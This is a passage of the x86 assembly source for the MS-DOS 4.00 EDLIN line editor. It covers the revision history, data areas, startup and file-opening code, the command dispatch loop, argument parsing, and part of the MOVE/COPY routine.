;
; FUNCTION: EDLIN IS A SIMPLE, LINE ORIENTED TEXT EDITOR. IT PROVIDES
; USERS OF DOS THE ABILITY TO CREATE AND EDIT TEXT FILES.
;
; ENTRY POINT: EDLIN
;
; INPUT: DOS COMMAND LINE
; EDLIN COMMANDS
; TEXT
;
; EXIT NORMAL: NA
;
; EXIT ERROR: NA
;
; INTERNAL REFERENCES:
;
; EXTERNAL REFERENCES:
;
; ROUTINE: EDLCMD1 - CONTAINS ROUTINES CALLED BY EDLIN
; EDLCMD1 - CONTAINS ROUTINES CALLED BY EDLIN
; EDLMES - CONTAINS ROUTINES CALLED BY EDLIN
;
; LINK EDLIN+EDLCMD1+EDLCMD2+EDLMES+EDLPARSE
;
; REVISION HISTORY:
;
; AN000 VERSION 4.00 - REVISIONS MADE RELATE TO THE FOLLOWING:
;
; - IMPLEMENT SYSPARSE
; - IMPLEMENT MESSAGE RETRIEVER
; - IMPLEMENT DBCS ENABLING
; - ENHANCED VIDEO SUPPORT
; - EXTENDED OPENS
; - SCROLLING ERROR
;
; COPYRIGHT: "MS DOS EDLIN UTILITY"
; "VERSION 4.00 (C) COPYRIGHT 1988 Microsoft"
; "LICENSED MATERIAL - PROPERTY OF Microsoft"
;
;
; MICROSOFT REVISION HISTORY:
; ;
; V1.02 ;
; ;
; V2.00 9/13/82 M.A.U ;
; ;
; 2/23/82 Rev. 13 N. P ;
; Changed to 2.0 system calls. ;
; Added an error message for READ-ONLY files ;
; ;
; 11/7/83 Rev. 14 N. P ;
; Changed to .EXE format and added Printf ;
; ;
; V2.50 11/15/83 Rev. 1 M.A. U ;
; Official dos 2.50 version. Some random bug ;
; fixes and message changes. ;
; ;
; 11/30/83 Rev. 2 MZ ;
; Close input file before rename. ;
; Jmp to replace after line edit ;
; ;
; 02/01/84 Rev. 3 M.A. U ;
; Now it is called 3.00 dos. Repaired problem ;
; with using printf and having %'s as data. ;
; ;
; 02/15/84 MZ make out of space a fatal error with output;
; ;
; 03/28/84 MZ fixes bogus (totally) code in MOVE/COPY ;
; ;
; 04/02/84 MZ fixes DELETE and changes MOVE/COPY/EDIT ;
; ;
; V3.20 08/29/86 Rev. 1 S.M. G ;
; ;
; 08/29/86 M001 MSKK TAR 593, TAB MOVEMENT ;
; ;
; 08/29/86 M002 MSKK TAR 157, BLKMOVE 1,1,1m, 1,3,1m ;
; ;
; 08/29/86 M003 MSKK TAR 476, EDLCMD2,MAKECAPS,kana char ;
; ;
; 08/29/86 M004 MSKK TAR 191, Append load size ;
; ;
; 08/29/86 M005 IBMJ TAR Transfer Load command ;
; ;
; 04/17/90 c-PaulB ;
; Added /? switch to display options ;
; Files changed: edlin.asm, edlparse.asm, edlmes.asm, ;
; edlin.skl. ;
; ;
;======================= END OF SPECIFICATIONS =========================== ;
include version.inc
include intnat.inc
include syscall.inc
include edlequ.asm
SUBTTL Contants and Data areas
PAGE
extrn parser_command:near ;an000;SYSPARSE
CODE SEGMENT PUBLIC
CODE ENDS
CONST SEGMENT PUBLIC WORD
CONST ENDS
cstack segment stack
cstack ends
DATA SEGMENT PUBLIC WORD
DATA ENDS
DG GROUP CODE,CONST,cstack,DATA
CONST SEGMENT PUBLIC WORD
public bak,$$$file,delflg,loadmod,txt1,txt2
EXTRN BADDRV:abs,NDNAME:abs
EXTRN opt_err_ptr:word,NOBAK:abs,BADCOM:abs
EXTRN NEWFIL:abs,DEST:abs,MRGERR:abs
EXTRN NODIR:abs,FILENM_ptr:word,ro_err:abs
EXTRN bcreat:abs,msg_too_many:abs,msg_lf:abs
EXTRN prompt:abs,MemFul_Ptr:word,simple_msg:word
extrn dsp_options:abs
extrn dsp_help:abs,num_help_msgs:abs
BAK DB ".BAK",0
$$$FILE DB ".$$$",0
fourth db 0 ;fourth parameter flag
loadmod db 0 ;Load mode flag, 0 = ^Z marks the
; end of a file, 1 = viceversa.
optchar db "-"
TXT1 DB 0,80H DUP (?)
TXT2 DB 0,80H DUP (?)
DELFLG DB 0
fNew DB 0 ; old file
HAVEOF DB 0
CONST ENDS
cstack segment stack
db stksiz dup (?)
cstack ends
DATA SEGMENT PUBLIC WORD
extrn arg_buf_ptr:word ;an000;
extrn line_num_buf_ptr:word ;an000;
public path_name,ext_ptr,start,line_num,line_flag
public arg_buf,wrt_handle,temp_path
public current,pointer,qflg,editbuf,amnt_req,fname_len,delflg,lastlin
public olddat,oldlen,newlen,srchflg,srchmod
public comline,lstfnd,numpos,lstnum,last_mem,srchcnt
public rd_handle,haveof,ending,three4th,one4th
public lc_adj ;an000;page length adj. factor
public lc_flag ;an000;display cont. flag
public pg_count ;an000;lines left on screen
public Disp_Len ;an000;display length
public Disp_Width ;an000;display width
public continue ;an000;boolean T/F
public temp_path ;an000;pointer to filespec buf
Video_Buffer label word ;an000;buffer for video attr
db 0 ;an000;dms;
db 0 ;an000;dms;
dw 14 ;an000;dms;
dw 0 ;an000;dms;
db ? ;an000;dms;
db 0 ;an000;dms;
dw ? ;an000;dms;# of colors
dw ? ;an000;dms;# of pixels in width
dw ? ;an000;dms;# of pixels in len.
dw ? ;an000;dms;# of chars in width
dw ? ;an000;dms;# of chars in length
video_org db ? ;an000;original video mode on
; entry to EDLIN.
lc_adj db ? ;an000;page length adj. factor
lc_flag db ? ;an000;display cont. flag
pg_count db ? ;an000;lines left on screen
Disp_Len db ? ;an000;display length
Disp_Width db ? ;an000;display width
continue db ? ;an000;boolean T/F
;-----------------------------------------------------------------------;
; This is a table that is sequentially filled via GetNum. Any additions to it
; must be placed in the correct position. Currently Param4 is known to be a
; count and thus is treated specially.
public param1,param2,Param3,param4,ParamCt
PARAM1 DW ?
PARAM2 DW ?
PARAM3 DW ?
PARAM4 DW ?
ParamCt DW ? ; count of passed parameters
ifdef DBCS ; Used in TESTKANJ:
LBTbl dd ? ; long pointer to lead byte table
endif ; in the dos (from syscall 63H)
;-----------------------------------------------------------------------;
PUBLIC PTR_1, PTR_2, PTR_3, OLDLEN, NEWLEN, LSTFND, LSTNUM, NUMPOS, SRCHCNT
PUBLIC CURRENT, POINTER, ONE4TH, THREE4TH, LAST_MEM, ENDTXT, COPYSIZ
PUBLIC COMLINE, LASTLIN, COMBUF, EDITBUF, EOL, QFLG, ENDING, SRCHFLG
PUBLIC PATH_NAME, FNAME_LEN, RD_HANDLE, TEMP_PATH, WRT_HANDLE, EXT_PTR
PUBLIC MRG_PATH_NAME, MRG_HANDLE, amnt_req, olddat, srchmod, MOVFLG, org_ds
ifdef DBCS
public lbtbl
endif
;
; These comprise the known state of the internal buffer. All editing
; functions must preserve these values.
;
CURRENT DW ? ; the 1-based index of the current line
POINTER DW ? ; pointer to the current line
ENDTXT DW ? ; pointer to end of buffer. (at ^Z)
LAST_MEM DW ? ; offset of last byte of memory
;
; The label Start is the beginning of the in-core buffer.
;
;
; Internal temporary pointers
;
PTR_1 DW ?
PTR_2 DW ?
PTR_3 DW ?
QFLG DB ? ; TRUE => query for replacement
OLDLEN DW ?
NEWLEN DW ?
LSTFND DW ?
LSTNUM DW ?
NUMPOS DW ?
SRCHCNT DW ?
ONE4TH DW ?
THREE4TH DW ?
COPYSIZ DW ? ; total length to copy
COPYLEN DW ? ; single copy length
COMLINE DW ?
LASTLIN DW ?
COMBUF DB 82H DUP (?)
EDITBUF DB 258 DUP (?)
EOL DB ?
ENDING DB ?
SRCHFLG DB ?
PATH_NAME DB 128 DUP(0)
FNAME_LEN DW ?
RD_HANDLE DW ?
TEMP_PATH DB 128 DUP(?)
WRT_HANDLE DW ?
EXT_PTR DW ?
MRG_PATH_NAME DB 128 DUP(?)
MRG_HANDLE DW ?
amnt_req dw ? ; amount of bytes requested to read
olddat db ? ; Used in replace and search, replace
; by old data flag (1=yes)
srchmod db ? ; Search mode: 1=from current+1 to
; end of buffer, 0=from beg. of
; buffer to the end (old way).
MOVFLG DB ?
org_ds dw ? ;Orginal ds points to header block
arg_buf db 258 dup (?)
EA_Flag db False ;an000; dms;set to false
EA_Buffer_Size dw ? ;an000; dms;EA buffer's size
EA_Parm_List label word ;an000; dms;EA parms
dd dg:Start ;an000; dms;ptr to EA's
dw 0001h ;an000; dms;additional parms
db 06h ;an000; dms;
dw 0002h ;an000; dms;iomode
line_num dw ?
line_flag db ?,0
EVEN ;align on word boundaries
;
; Byte before start of data buffer must be < 40H !!!!!!
;
dw 0 ;we scan backwards looking for
;a character which can't be part
;of a two-byte seqence. This
;double byte sequence will cause the back
;scan to stop here.
START LABEL WORD
DATA ENDS
CODE SEGMENT PUBLIC
ASSUME CS:DG,DS:NOTHING,ES:NOTHING,SS:CStack
extrn pre_load_message:near ;an000;message loader
extrn disp_fatal:near ;an000;fatal message
extrn printf:near ;an000;new PRINTF routine
extrn findlin:near,shownum:near,loadbuf:near,crlf:near,lf:near
extrn abortcom:near,delbak:near,unquote:near,kill_bl:near
extrn make_caps:near,dispone:near,display:near,query:near
extrn quit:near,make_cntrl:near,scanln:near,scaneof:near
extrn fndfirst:near,fndnext:near,replace:near,memerr:near
extrn xerror:near
extrn zerror:near
extrn bad_read:near,append:near
extrn nocom:near,pager:near,list:near,search_from_curr:near
extrn replac_from_curr:near,ewrite:near,wrt:near,delete:near
extrn filespec:byte ;an000;parser's filespec
extrn parse_switch_b:byte ;an000;result of switch scan
extrn parse_switch_?:byte ; result of switch scan
public std_printf,command,chkrange,comerr
public display_message
; exit from EDLIN
IFDEF DBCS
extrn testkanj:near
ENDIF
EDLIN:
JMP SHORT SIMPED
std_printf proc near ;ac000;convert to proc
push dx
call printf
pop dx ;an000;balance the push
ret
std_printf endp ;ac000;end proc
Break <Dispatch Table>
;-----------------------------------------------------------------------;
; Careful changing the order of the next two tables. They are linked and
; changes should be be to both.
COMTAB DB 13,";ACDEILMPQRSTW"
NUMCOM EQU $-COMTAB
TABLE DW BLANKLINE ; Blank line
DW NOCOM ; ;
DW APPEND ; A(ppend)
DW COPY ; C(opy)
DW DELETE ; D(elete)
DW ENDED ; E(xit)
DW INSERT ; I(nsert)
DW LIST ; L(ist)
DW MOVE ; M(ove)
DW PAGER ; P(age)
DW QUIT ; Q(uit)
dw replac_from_curr ; R(eplace)
dw search_from_curr ; S(earch)
DW MERGE ; T(merge)
DW EWRITE ; W(rite)
Break <Initialization Code>
NONAME:
mov ax,NDNAME
jmp zerror
SIMPED:
mov org_ds,DS
push ax ;ac000;save for drive compare
push cs ;an000;exchange cs/es
pop es ;an000;
push cs ;an000;exchange cs/ds
pop ds ;an000;
assume ds:dg,es:dg ;an000;establish addressibility
MOV dg:ENDING,0
mov sp,stack
call EDLIN_DISP_GET ;an000;get current video
; mode & set it to
; text
;=========================================================================
; invoke PRE_LOAD_MESSAGE here. If the messages were not loaded we will
; exit with an appropriate error message.
;
; Date : 6/14/87
;=========================================================================
call PRE_LOAD_MESSAGE ;an000;invoke SYSLOADMSG
; $if c ;an000;if the load was unsuccessful
JNC $$IF1
mov ah,exit ;an000;exit EDLIN. PRE_LOAD_MESSAGE
; has said why we are exiting
mov al,00h ;an000
int 21h ;an000;exit
; $endif ;an000;
$$IF1:
VERS_OK:
;----- Check for valid drive specifier --------------------------------;
pop ax
OR AL,AL
JZ get_switch_char
mov ax,BADDRV
jmp zerror
get_switch_char:
MOV AX,(CHAR_OPER SHL 8) ;GET SWITCH CHARACTER
INT 21H
CMP DL,"/"
JNZ CMD_LINE ;IF NOT / , THEN NOT PC
MOV OPTCHAR,"/" ;IN PC, OPTION CHAR = /
IFDEF DBCS
push ds ; SAVE! all regs destroyed on this
push es
push si ; call !!
mov ax,(ECS_call shl 8) or 00h ; get kanji lead tbl
int 21h
assume ds:nothing
assume es:nothing
mov word ptr [LBTbl],si
mov word ptr [LBTbl+2],ds
pop si
pop es
pop ds
assume ds:dg
assume es:dg
ENDIF
CMD_LINE:
push cs
pop es
ASSUME ES:DG
;----- Process any options ------------------------------------------;
;=========================================================================
; The system parser, called through PARSER_COMMAND, parses external
; command lines. In the case of EDLIN we are looking for two parameters
; on the command line.
;
; Parameter 1 - Filespec (REQUIRED)
; Parameter 2 - \B switch (OPTIONAL)
;
; PARSER_COMMAND - exit_normal : ffffh
; exit_error : not = ffffh
;=========================================================================
call PARSER_COMMAND ;an000;invoke sysparse
; DMS:6/11/87
; Check for /? switch.
; If so, display the options
; and exit.
;
; This is done first so that if the user typed
; /? along with unknown commands, they can get
; a coherent message without being over-errored.
;
; 4/17/90 c-PaulB
cmp [parse_switch_?], true ; is the /? switch on?
jne CheckOptionsDone ; skip the rest of this if not
mov ax,dsp_options
call display_message
mov al, 0 ; get an okay exit code
mov ah, exit ; and
int 21h ; bail out.
CheckOptionsDone:
cmp ax,nrm_parse_exit ;an000;was it a good parse
; $if z ;an000;it was a good parse
JNZ $$IF3
call EDLIN_COMMAND ;an000;interface results
; into EDLIN
; $else ;an000;
JMP SHORT $$EN3
$$IF3:
cmp ax,too_many ;an000;too many operands
; $if z ;an000;we have too many
JNZ $$IF5
jmp short badopt ;an000;say why and exit
; $endif
$$IF5:
cmp ax,op_missing ;an000;required parm missing
; $if z ;an000;missing parm
JNZ $$IF7
ifdef DBCS
jmp noname ;an000;say why and exit
else
jmp short noname ;an000;say why and exit
endif
; $endif ;an000;
$$IF7:
cmp ax,sw_missing ;an000;is it an invalid switch
; $if z ;an000;invalid switch
JNZ $$IF9
jmp short badopt ;an000;say why and exit
; $endif ;an000;
$$IF9:
; $endif ;an000;
$$EN3:
;=========================================================================
;======================= begin .BAK check ================================
; Check for .BAK extension on the filename
push ds ;an000;save reg.
push cs ;an000;set up addressibility
pop ds ;an000;
assume ds:dg ;an000;
push ax ;an000;save reg.
mov ax,offset dg:path_name ;an000;point to path_name
add ax,[fname_len] ;an000;calculate end of path_name
mov si,ax ;an000;point to end of path_name
pop ax ;an000;restore reg.
MOV CX,4 ;compare 4 bytes
SUB SI,4 ;Point 4th to last char
MOV DI,OFFSET DG:BAK ;Point to string ".BAK"
REPE CMPSB ;Compare the two strings
pop ds
ASSUME DS:NOTHING
JNZ NOTBAK
JMP HAVBAK
;======================= end .BAK check ==================================
;======================= begin NOTBAK ====================================
; we have a file without a .BAK extension, try to open it
NOTBAK:
push ds
push cs
pop ds
ASSUME DS:DG
;=========================================================================
; implement EXTENDED OPEN
;=========================================================================
push es ;an000;save reg.
mov bx,RW ;an000;open for read/write
mov cx,ATTR ;an000;file attributes
mov dx,RW_FLAG ;an000;action to take on open
mov di,0ffffh ;an000;nul parm list
call EXT_OPEN1 ;an000;open for R/W;DMS:6/10/87
pop es ;an000;restore reg.
;=========================================================================
pop ds
ASSUME DS:NOTHING
JC CHK_OPEN_ERR ;an open error occurred
MOV RD_HANDLE,AX ;Save the handle
Jmp HavFil ;work with the opened file
;======================= end NOTBAK ======================================
Badopt:
MOV DX,OFFSET DG:OPT_ERR_ptr;Bad option specified
JMP XERROR
;=========================================================================
;
; The open of the file failed. We need to figure out why and report the
; correct message. The circumstances we can handle are:
;
; open returns pathnotfound => bad drive or file name
; open returns toomanyopenfiles => too many open files
; open returns access denied =>
; chmod indicates read-only => cannot edit read only file
; else => file creation error
; open returns filenotfound =>
; creat ok => close, delete, new file
; creat fails => file creation error
; else => file cre
;
CHK_OPEN_ERR:
cmp ax,error_path_not_found
jz BadDriveError
cmp ax,error_too_many_open_files
jz TooManyError
cmp ax,error_access_denied
jnz CheckFNF
push ds
push cs
pop ds
assume ds:dg
mov ax,(chmod shl 8)
MOV DX,OFFSET DG:PATH_NAME
int 21h
jc FileCreationError
test cx,attr_read_only
jz FileCreationError
jmp short ReadOnlyError
CheckFNF:
cmp ax,error_file_not_found
jnz FileCreationError
;
; Try to create the file to see if it is OK.
;
push ds
push cs
pop ds
assume ds:dg
;=========================================================================
; implement EXTENDED OPEN
;=========================================================================
mov bx,RW ;an000;open for read/write
mov cx,ATTR ;an000;file attributes
mov dx,CREAT_FLAG ;an000;action to take on open
mov di,0ffffh ;an000;null parm list
call EXT_OPEN1 ;an000;create file;DMS:6/10/87
;=========================================================================
pop ds
assume ds:nothing
jc CreateCheck
mov bx,ax
mov ah,close
int 21h
push ds
push cs
pop ds
assume ds:dg
mov ah,unlink
MOV DX,OFFSET DG:PATH_NAME
int 21h
pop ds
assume ds:nothing
jc FileCreationError ; This should NEVER be taken!!!
MOV HAVEOF,0FFH ; Flag from a system 1.xx call
MOV fNew,-1
JMP short HAVFIL
CreateCheck:
cmp ax,error_access_denied
jnz BadDriveError
DiskFull:
mov ax,NODIR
jmp zerror
FileCreationError:
mov ax,bcreat
jmp zerror
ReadOnlyError:
mov ax,RO_ERR
jmp zerror
BadDriveError:
mov ax,BADDRV
jmp zerror
TooManyError:
mov ax,msg_too_many
jmp zerror
CREAT_ERR:
CMP DELFLG,0
JNZ DiskFull
push cs
pop ds
CALL DELBAK
JMP short MAKFIL
HAVBAK:
mov ax,NOBAK
jmp zerror
HAVFIL:
push cs
pop ds
ASSUME DS:DG
CMP fNew,0
JZ MakeBak
mov ax,newfil
call display_message
MakeBak:
MOV SI,OFFSET DG:PATH_NAME
MOV CX,[FNAME_LEN]
PUSH CX
MOV DI,OFFSET DG:TEMP_PATH
REP MOVSB
DEC DI
MOV DX,DI
POP CX
MOV AL,"."
STD
REPNE SCASB
JZ FOUND_EXT
MOV DI,DX ;Point to last char in filename
FOUND_EXT:
CLD
INC DI
MOV [EXT_PTR],DI
MOV SI,OFFSET DG:$$$FILE
MOV CX,5
REP MOVSB
;Create .$$$ file to make sure directory has room
MAKFIL:
;=========================================================================
; implement EXTENDED OPEN
;=========================================================================
mov bx,RW ;an000;open for read/write
mov cx,ATTR ;an000;file attributes
mov dx,Creat_Open_Flag ;an000;action to take on open
cmp EA_Flag,True ;an000;EA_Buffer used?
; $if e ;an000;yes
JNE $$IF12
mov di,offset dg:EA_Parm_List ;an000; point to buffer
; $else ;an000;
JMP SHORT $$EN12
$$IF12:
mov di,0ffffh ;an000;nul parm list
; $endif ;an000;
$$EN12:
call EXT_OPEN2 ;an000;create file;DMS:6/10/87
;=========================================================================
JC CREAT_ERR
MOV [WRT_HANDLE],AX
;
; We determine the size of the available memory. Use the word in the PDB at
; [2] to determine the number of paragraphs. Then truncate this to 64K at
; most.
;
push ds ;save ds for size calc
mov ds,[org_ds]
MOV CX,DS:[2]
MOV DI,CS
SUB CX,DI
CMP CX,1000h
JBE GotSize
MOV CX,0FFFh
GotSize:
SHL CX,1
SHL CX,1
SHL CX,1
SHL CX,1
pop ds ;restore ds after size calc
DEC CX
MOV [LAST_MEM],CX
MOV DI,OFFSET DG:START
TEST fNew,-1
JNZ SAVEND
SUB CX,OFFSET DG:START ;Available memory
SHR CX,1 ;1/2 of available memory
MOV AX,CX
SHR CX,1 ;1/4 of available memory
MOV [ONE4TH],CX ;Save amount of 1/4 full
ADD CX,AX ;3/4 of available memory
MOV DX,CX
ADD DX,OFFSET DG:START
MOV [THREE4TH],DX ;Save pointer to 3/4 full
MOV DX,OFFSET DG:START
SAVEND:
CLD
MOV BYTE PTR [DI],1AH
MOV [ENDTXT],DI
MOV BYTE PTR [COMBUF],128
MOV BYTE PTR [EDITBUF],255
MOV BYTE PTR [EOL],10
MOV [POINTER],OFFSET DG:START
MOV [CURRENT],1
MOV ParamCt,1
MOV [PARAM1],0 ;M004 Leave room in memory, was -1
TEST fNew,-1
JNZ COMMAND
;
; The above setting of PARAM1 to -1 causes this call to APPEND to try to read
; in as many lines that will fit, BUT.... What we are doing is simulating
; the user issuing an APPEND command, and if the user asks for more lines
; than we get then an "Insufficient memory" error occurs. In this case we
; DO NOT want this error, we just want as many lines as possible read in.
; The twiddle of ENDING suppresses the memory error
;
MOV BYTE PTR [ENDING],1 ;Suppress memory errors
CALL APPEND
MOV ENDING,0 ; restore correct initial value
Break <Main command loop>
;
; Main read/parse/execute loop. We reset the stack all the time as there
; are routines that JMP back here. Don't blame me; Tim Paterson write this.
;
COMMAND:
push cs ;an000;set up addressibility
pop ds ;an000;
push cs ;an000;
pop es ;an000;
assume ds:dg,es:dg ;an000;
MOV SP, STACK
MOV AX,(SET_INTERRUPT_VECTOR SHL 8) OR 23H
MOV DX,OFFSET DG:ABORTCOM
INT 21H
mov ax,prompt
call display_message
MOV DX,OFFSET DG:COMBUF
MOV AH,STD_CON_STRING_INPUT
INT 21H
MOV [COMLINE],OFFSET DG:COMBUF + 2
mov ax,msg_lf
call display_message
PARSE:
MOV [PARAM2],0
MOV [PARAM3],0
MOV [PARAM4],0
mov [fourth],0 ;reset the fourth parameter flag
MOV QFLG,0
MOV SI,[COMLINE]
MOV BP,OFFSET DG:PARAM1
XOR DI,DI
CHKLP:
CALL GETNUM
;
; AL has first char after arg
;
MOV ds:[BP+DI],DX
ADD DI,2
MOV ParamCt,DI ; set up count of parameters
SHR ParamCt,1 ; convert to index (1-based)
CALL SKIP1 ; skip to next parameter
CMP AL,"," ; is there a comma?
jnz NOT_COMMA ; if not, then done with arguments
cmp di,8 ; **** maximum size of PARAM array!
jb CHKLP ; continue scanning if <4 PARAMS
jmp short COMERR
NOT_COMMA:
DEC SI ; point at char next
CALL Kill_BL ; skip all blanks
CMP AL,"?" ; is there a ?
JNZ DISPATCH ; no, got command letter
MOV QFLG,-1 ; signal query
CALL Kill_BL
DISPATCH:
CMP AL,5FH
JBE UPCASE
cmp al,"z"
ja upcase
AND AL,5FH
UPCASE:
MOV DI,OFFSET DG:COMTAB
mov cx,NUMCOM
REPNE SCASB
JNZ COMERR
SUB DI,1+OFFSET DG:COMTAB ; convert to index
MOV BX,DI
MOV AX,[PARAM2]
OR AX,AX
JZ PARMOK
CMP AX,[PARAM1]
JB COMERR ; Param. 2 must be >= param 1
PARMOK:
MOV [COMLINE],SI
SHL BX,1
CALL [BX+TABLE]
COMOVER:
MOV SI,[COMLINE]
CALL Kill_BL
CMP AL,0DH
JZ COMMANDJ
CMP AL,1AH
JZ DELIM
CMP AL,";"
JNZ NODELIM
DELIM:
INC SI
NODELIM:
DEC SI
MOV [COMLINE],SI
JMP PARSE
COMMANDJ:
JMP COMMAND
SKIP1:
DEC SI
CALL Kill_BL
ret1: return
Break <Range Checking and argument parsing>
;
; People call here. we need to reset the stack.
; Inputs: BX has param1
; Outputs: Returns if BX <= Param2
;
CHKRANGE:
CMP [PARAM2],0
retz
CMP BX,[PARAM2]
JBE RET1
POP DX ; clean up return address
COMERR:
mov ax,BADCOM
zcomerr1:
call display_message
jmp command
COMERR1:
call std_printf
JMP COMMAND
;
; GetNum parses off 1 argument from the command line. Argument forms are:
; nnn a number < 65536
; +nnn current line + number
; -nnn current line - number
; . current line
; # lastline + 1
;
;
GETNUM:
CALL Kill_BL
cmp di,6 ;Is this the fourth parameter?
jne sk1
mov [fourth],1 ;yes, set the flag
sk1:
CMP AL,"."
JZ CURLIN
CMP AL,"#"
JZ MAXLIN
CMP AL,"+"
JZ FORLIN
CMP AL,"-"
JZ BACKLIN
MOV DX,0
MOV CL,0 ;Flag no parameter seen yet
NUMLP:
CMP AL,"0"
JB NUMCHK
CMP AL,"9"
JA NUMCHK
CMP DX,6553 ;Max line/10
JAE COMERR ;Ten times this is too big
MOV CL,1 ;Parameter digit has been found
SUB AL,"0"
MOV BX,DX
SHL DX,1
SHL DX,1
ADD DX,BX
SHL DX,1
CBW
ADD DX,AX
LODSB
JMP SHORT NUMLP
NUMCHK:
CMP CL,0
retz
OR DX,DX
JZ COMERR ;Don't allow zero as a parameter
return
CURLIN:
cmp [fourth],1 ;the fourth parameter?
je comerra ;yes, an error
MOV DX,[CURRENT]
LODSB
return
MAXLIN:
cmp [fourth],1 ;the fourth parameter?
je comerra ;yes, an error
MOV DX,1
MOV AL,0Ah
PUSH DI
MOV DI,OFFSET DG:START
MOV CX,EndTxt
SUB CX,DI
MLoop:
JCXZ MDone
REPNZ SCASB
JNZ MDone
INC DX
JMP MLoop
MDone:
POP DI
LODSB
return
FORLIN:
cmp [fourth],1 ;the fourth parameter?
je comerra ;yes, an error
CALL GETNUM
ADD DX,[CURRENT]
return
BACKLIN:
cmp [fourth],1 ;the fourth parameter?
je comerra ;yes, an error
CALL GETNUM
MOV BX,[CURRENT]
SUB BX,DX
JA OkLin ; if negative or zero
MOV BX,1 ; use first line
OkLin:
MOV DX,BX
return
comerra:
jmp comerr
ERRORJ:
JMP COMERR
ERROR1J:
JMP zcomerr1
BLANKLINE:
cmp QFLG,0
jnz SHOWHELP ; if ? at front of blank line, do HELP
jmp NOCOM ; ignore blank line otherwise
SHOWHELP:
dec [COMLINE] ; point back to <cr>
mov cx,num_help_msgs-1
mov ax,dsp_help
SHOWHELP1:
call display_message
inc ax
loop SHOWHELP1
; fall into display_message for last message and return
;=========================================================================
; display_message : Displays a simple common message through the
; ; message retriever, using a common parameter
; ; block.
; Inputs : ax = message number to display
;
;=========================================================================
display_message proc near
mov dg:[simple_msg],ax
mov dx,offset dg:simple_msg
jmp printf ; display it
display_message endp
Break <Move and Copy commands>
PUBLIC MOVE
MOVE:
CMP ParamCt,3
JNZ ERRORJ
MOV BYTE PTR [MOVFLG],1
JMP SHORT BLKMOVE
PUBLIC COPY
COPY:
CMP ParamCt,3
JB ERRORJ
MOV BYTE PTR [MOVFLG],0
;
; We are to move/copy a number of lines from one range to another.
;
; Memory looks like this:
;
; START: line 1
; ...
; pointer-> line n Current has n in it
; ...
; line m
; endtxt-> ^Z
;
; The algoritm is:
;
; Bounds check on args.
; set ptr1 and ptr2 to range before move
; set copysiz to number to move
; open up copysize * count for destination
; if destination is before ptr1 then
; add copysize * count to both ptrs
; while count > 0 do
; move from ptr1 to destination for copysize bytes
; count --
; if moving then
; move from ptr2 through end to ptr1
; set endtxt to last byte moved.
; set current, pointer to original destination
;
BLKMOVE:
;
; Make sure that all correct arguments are specified.
;
MOV BX,[PARAM3] ; get destination of move/copy
OR BX,BX ; must be specified (non-0)
mov ax,DEST
JZ ERROR1J ; is 0 => error
;
; get arg 1 (defaulting if necessary) and range check it.
;
MOV BX,[PARAM1] ; get first argument
OR BX,BX ; do we default it?
JNZ NXTARG ; no, assume it is OK.
MOV BX,[CURRENT] ; Defaults to the current line
CALL CHKRANGE ; Make sure it is good.
MOV [PARAM1],BX ; set it
NXTARG:
CALL FINDLIN ; find first argument line
JNZ ErrorJ ; line not found
MOV [PTR_1],DI
;
; get arg 2 (defaulting if necessary) and range check it.
;
MOV BX,[PARAM2] ; Get the second parameter
OR BX,BX ; do we default it too?
JNZ HAVARGS ; Nope.
MOV BX,[CURRENT] ; Defaults to the current line
MOV [PARAM2],BX ; Stash it away
HAVARGS:
CALL FindLin
JNZ ErrorJ ; line not found
MOV BX,Param2
INC BX ;Get pointer to line Param2+1
CALL FINDLIN
MOV [PTR_2],DI ;Save it
;
; We now have true line number arguments and pointers to the relevant places.
; ptr_1 points to beginning of region and ptr_2 points to first byte beyond
; that region.
;
; Check args for correct ordering of first two arguments
;
mov dx,[param1]
cmp dx,[param2]
jbe havargs1 ; first must be <= second
jmp comerr
havargs1:
;
; make sure that the third argument is not contained in the first range
;
MOV DX,[PARAM3]
CMP DX,[PARAM1] ; third must be <= first or
JBE NOERROR
CMP DX,[PARAM2]
JA NoError ; third must be > last
JMP ComErr
NOERROR:
;
; Determine number to move
;
MOV CX,Ptr_2
SUB CX,Ptr_1 ; Calculate number of bytes to copy
MOV CopySiz,CX
MOV CopyLen,CX ; Save for individual move.
MOV AX,[PARAM4] ; Was count defaulted?
OR AX,AX
JZ SizeOk ; yes, CX has correct value
MUL [COPYSIZ] ; convert to true size
MOV CX,AX ; move to count register
OR DX,DX ; overflow?
JZ SizeOK ; no
JMP MEMERR ; yes, bomb.
SizeOK:
MOV [COPYSIZ],CX
;
; Check to see that we have room to grow by copysiz
;
MOV AX,[ENDTXT] ; get pointer to last byte
MOV DI,[LAST_MEM] ; get offset of last location in memory
SUB DI,AX ; remainder of space
CMP DI,CX ; is there at least copysiz room?
JAE HAV_ROOM ; yes
JMP MEMERR
HAV_ROOM:
;
; Find destination of move/copy
;
MOV BX,[PARAM3]
CALL FINDLIN
MOV [PTR_3],DI
;
; open up copysiz bytes of space at destination
;
; move (p3, p3+copysiz, endtxt-p3);
;
MOV SI,EndTxt ; get source pointer to end
MOV CX,SI
SUB CX,DI ; number of bytes from here to end
INC CX ; remember ^Z at end
MOV DI,SI ; destination starts at end
ADD DI,[COPYSIZ] ; plus size we are opening
MOV [ENDTXT],DI ; new end point
STD ; go backwards
REP MOVSB ; and store everything
CLD ; go forward
;
; relocate ptr_1 and ptr_2 if we moved them
;
MOV BX,Ptr_3
CMP BX,Ptr_1 ; was dest before source?
JA NoReloc ; no, above. no relocation
MOV BX,CopySiz
ADD Ptr_1,BX
ADD Ptr_2,BX ; relocate pointers
NoReloc:
;
; Now we copy for count times copylen bytes from ptr_1 to ptr_3
;
; move (ptr_1, ptr_3, copylen);
;
MOV BX,Param4 ; count (0 and 1 are both 1)
MOV DI,Ptr_3 ; destination
CopyText:
MOV CX,CopyLen ; number to move
MOV SI,Ptr_1 ; start point
REP MOVSB ; move the bytes
SUB BX,1 ; exhaust count?
JG CopyText ; no, go for more
;
; If we are moving
;
CMP BYTE PTR MovFlg,0
JZ CopyDone
;
; Delete the source text between ptr_1 and ptr_2
;
; move (ptr_2, ptr_1, endtxt-ptr_2);
;
MOV DI,Ptr_1 ; destination
MOV SI,Ptr_2 ; source
MOV CX,EndTxt ; pointer to end
SUB CX,SI ; number of bytes to move
CLD ; forwards
REP MOVSB
MOV BYTE PTR ES:[DI],1Ah ; remember ^Z terminate
MOV EndTxt,DI ; new end of file
;
; May need to relocate current line (parameter 3).
;
MOV BX,Param3 ; get new current line
CMP BX,Param1 ; do we need to relocate
JBE CopyDone ; no, current line is before removed M002
ADD BX,Param1 ; add in first
SUB BX,Param2 ; current += first-last - 1;
DEC BX
